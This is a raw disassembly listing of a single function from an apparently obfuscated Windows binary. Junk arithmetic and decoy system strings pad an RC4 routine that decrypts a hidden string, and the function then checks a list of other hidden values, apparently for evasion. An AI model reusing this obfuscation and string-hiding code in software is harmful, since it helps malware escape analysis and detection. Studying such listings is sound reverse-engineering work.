mov word [ebp - 0xdd4], 0
lea edi, [ebp - 0xe4d]
mov esi, 0x85b89b
mov edx, eax
mov ecx, 0xa
or edx, 0xe4d18031
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xdc3]
mov esi, 0x85b8a5
mov ecx, 0x11
rep movsb byte es:[edi], byte [esi]
mov dword [0x858bf8], edx
xor edx, edx
cmp byte [edx + str.sRGB_Color_Space_Profile.icm], 0
je 0x832630
inc edx
cmp edx, 0x11da
jne 0x832611
imul eax, eax, 0x3bbe1cf5
mov dword [0x858e80], eax
jmp 0x832638
cmp edx, 0x3b9
jle 0x83264c
mov dword [esp + 4], str.GetTermsrCompatFlags
mov dword [esp], str.RtlStringCchCatW_failed___x_
call fcn.00842e04
mov eax, dword [0x858bf8]
lea edx, [eax + 0x2199dc2f]
sub eax, 0x19c5272d
and eax, 0xabd64672
mov dword [0x858bf8], edx
or eax, 0xd2029be6
mov dword [0x858e80], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
movzx eax, ax
or eax, 0xde3766d4
mov dword [0x858bf8], eax
mov dword [esp + 0xc], str.WER_Heap:_u:_ERROR_Invalid_arguments
mov edx, dword [0x858e80]
mov dword [esp], eax
mov dword [esp + 8], edx
mov dword [esp + 4], str.WER_Heap:_u:_ERROR_Invalid_arguments
call fcn.008439c0
xor eax, eax
cmp byte [eax + str.WER_Heap:_u:_ERROR_Invalid_arguments], 0
je 0x8326c8
inc eax
cmp eax, 0x92b
jne 0x8326a8
imul eax, dword [0x858e80], 0x150b047b
mov dword [0x858e80], eax
imul eax, dword [0x858e80], 0xdb703eb
xor ebx, ebx
mov dword [0x858bf8], eax
mov dword [esp + 4], eax
mov dword [esp], str.WER_Heap:_u:_ERROR_Invalid_arguments
call fcn.008420d0
mov eax, dword [0x858bf8]
and eax, 0xa1ce2577
mov dword [0x858e80], eax
mov edx, str.The_driver_does_not_support_OPM.
mov al, byte [edx]
test al, al
je 0x83271e
sub eax, 0x30
cmp al, 9
jbe 0x83271b
imul eax, dword [0x858e80], 0xbca73856
mov dword [0x858e80], eax
jmp 0x83271e
inc edx
jmp 0x8326fd
imul eax, dword [0x858e80], 0x5c65aa8b
mov dword [0x858bf8], eax
mov dword [esp + 4], eax
mov dword [esp], str.WER_Heap:_u:_ERROR_Invalid_arguments
call fcn.008420d0
mov byte [ebp + ebx - 0x118], bl
inc ebx
cmp ebx, 0x100
jne 0x8326f8
xor esi, esi
xor ebx, ebx
mov eax, ebx
movzx ecx, byte [ebp + ebx - 0x118]
and eax, 0xf
movzx eax, byte [ebp + eax - 0xdc3]
mov byte [ebp - 0xe7c], cl
add eax, ecx
add eax, esi
movzx esi, al
mov eax, dword [0x858bf8]
and eax, 0xc4d9538
mov ecx, eax
mov dword [0x858bf8], eax
or ecx, 0xd4d46d1e
add ecx, 0x3148ea7b
mov dword [0x858e80], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], str.The_driver_does_not_support_OPM.
mov dword [esp + 4], str.sRGB_Color_Space_Profile.icm
mov dword [esp], ecx
call fcn.008439c0
mov al, byte [ebp + esi - 0x118]
mov dl, byte [ebp - 0xe7c]
mov byte [ebp + ebx - 0x118], al
inc ebx
mov byte [ebp + esi - 0x118], dl
cmp ebx, 0x100
jne 0x832751
mov eax, dword [0x858e80]
xor esi, esi
xor ebx, ebx
lea edx, [eax - 0x6cd448ff]
xor eax, 0x8b9f15a2
mov dword [0x858bf8], edx
mov dword [0x858e80], eax
mov dword [esp + 4], str.The_version_does_not_support_this_version_of_the_file_format.
mov dword [esp], str.AslpFileGet16BitModuleName
call fcn.00841940
xor edx, edx
mov ecx, str.WER_Heap:_u:_ERROR_Invalid_arguments
mov edi, 0x122
movsx eax, byte [ecx]
inc ecx
test al, al
je 0x83283a
add edi, eax
cmp edi, 0x2339
jbe 0x832819
mov eax, dword [0x858e80]
and eax, 0x3c2ac957
mov dword [0x858bf8], eax
mov eax, dword [0x858bf8]
mov dword [ebp - 0xe80], edx
inc ebx
lea edi, [ebp - 0xd9e]
movzx ebx, bl
or eax, 0x28e9c5f9
mov dword [0x858e80], eax
call dword [sym.imp.USER32.dll_AnyPopup]
imul eax, eax, 0x7ccff3d
mov dword [0x858e80], eax
mov dword [esp + 4], str.AppContainerNamedObjects
mov dword [esp], str.No_security_context_is_available_to_allow_impersonation.
call fcn.00842e04
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov cl, byte [ebp + ebx - 0x118]
imul eax, eax, 0x43c06177
mov byte [ebp - 0xe7c], cl
mov dword [0x858e80], eax
lea eax, [ecx + esi]
movzx esi, al
call fcn.00841610
imul eax, dword [0x858e80], 0x8f9aca3a
xor eax, 0x23ceb98
mov dword [0x858e80], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov cl, byte [ebp + esi - 0x118]
mov edx, dword [ebp - 0xe80]
imul eax, dword [0x858bf8], 0xc44561f3
mov byte [ebp + ebx - 0x118], cl
mov cl, byte [ebp - 0xe7c]
mov byte [ebp + esi - 0x118], cl
add cl, byte [ebp + ebx - 0x118]
movzx ecx, cl
mov dword [0x858bf8], eax
mov cl, byte [ebp + ecx - 0x118]
xor cl, byte [ebp + edx - 0xe4d]
movzx ecx, cl
mov word [edi + edx*2], cx
inc edx
cmp edx, 0xa
jne 0x83280f
add eax, 0x3a62b5a5
xor esi, esi
xor ebx, ebx
mov word [ebp - 0xd8a], 0
mov dword [0x858bf8], eax
mov dword [ebp - 0xe0c], 2
mov dword [ebp - 0xe08], 0x38
mov dword [ebp - 0xe04], 0xffffffc6
mov edx, str.WER_Heap:_u:_ERROR_Invalid_arguments
mov ecx, 0x1f84
movsx eax, byte [edx]
inc edx
test al, al
je 0x83299d
add ecx, eax
cmp ecx, 0x2216
jbe 0x832959
mov dword [esp + 4], str.MS_UI_Gothic
mov dword [esp], str.IntegrityContinuityFailure
call fcn.00842e04
add dword [0x858e80], 0x36e2c03
mov dword [esp + 4], str.Invalid_Lock_Sequence
mov dword [esp], str.BinaryType
call fcn.00841940
imul eax, dword [0x858bf8], 0xbb77f5a2
add eax, 0x5fc6295c
mov dword [0x858e80], eax
call fcn.00842374
sub ebx, dword [ebp + esi*4 - 0xe0c]
inc esi
cmp esi, 3
jne 0x83294f
mov edx, str.The_driver_does_not_support_OPM.
mov al, byte [edx]
test al, al
je 0x8329e4
sub eax, 0x30
cmp al, 9
jbe 0x8329e1
and dword [0x858bf8], 0x6bc13196
jmp 0x8329e4
inc edx
jmp 0x8329c8
xor dword [0x858e80], 0x48b9825c
call dword [sym.imp.KERNEL32.dll_GetLargePageMinimum]
lea eax, [ebp - 0xd8a]
mov dword [ebp - 0xc10], edi
mov dword [ebp - 0xc38], eax
lea eax, [ebp - 0xccc]
mov dword [ebp - 0xc34], eax
lea eax, [ebp - 0xd74]
mov dword [ebp - 0xc30], eax
lea eax, [ebp - 0xd1c]
mov dword [ebp - 0xc2c], eax
lea eax, [ebp - 0xd04]
mov dword [ebp - 0xc28], eax
lea eax, [ebp - 0xd5e]
mov dword [ebp - 0xc24], eax
lea eax, [ebp - 0xd48]
mov dword [ebp - 0xc20], eax
lea eax, [ebp - 0xdb2]
mov dword [ebp - 0xc1c], eax
lea eax, [ebp - 0xd32]
mov dword [ebp - 0xc18], eax
lea eax, [ebp - 0xde4]
mov dword [ebp - 0xc14], eax
cmp ebx, 0xa
jg 0x832ab9
mov eax, dword [ebp + ebx*4 - 0xc38]
mov dword [esp], eax
call fcn.008310e8
test eax, eax
je 0x832ab6
mov eax, dword [0x858bf8]
or eax, 0x5f67709b
mov dword [0x858e80], eax
mov dword [esp], str.AslGuidToString_UStr
call fcn.00843f48
mov eax, 1
sub dword [0x858e80], 0x7d00f98b
jmp 0x832abb
inc ebx
jmp 0x832a72
xor eax, eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret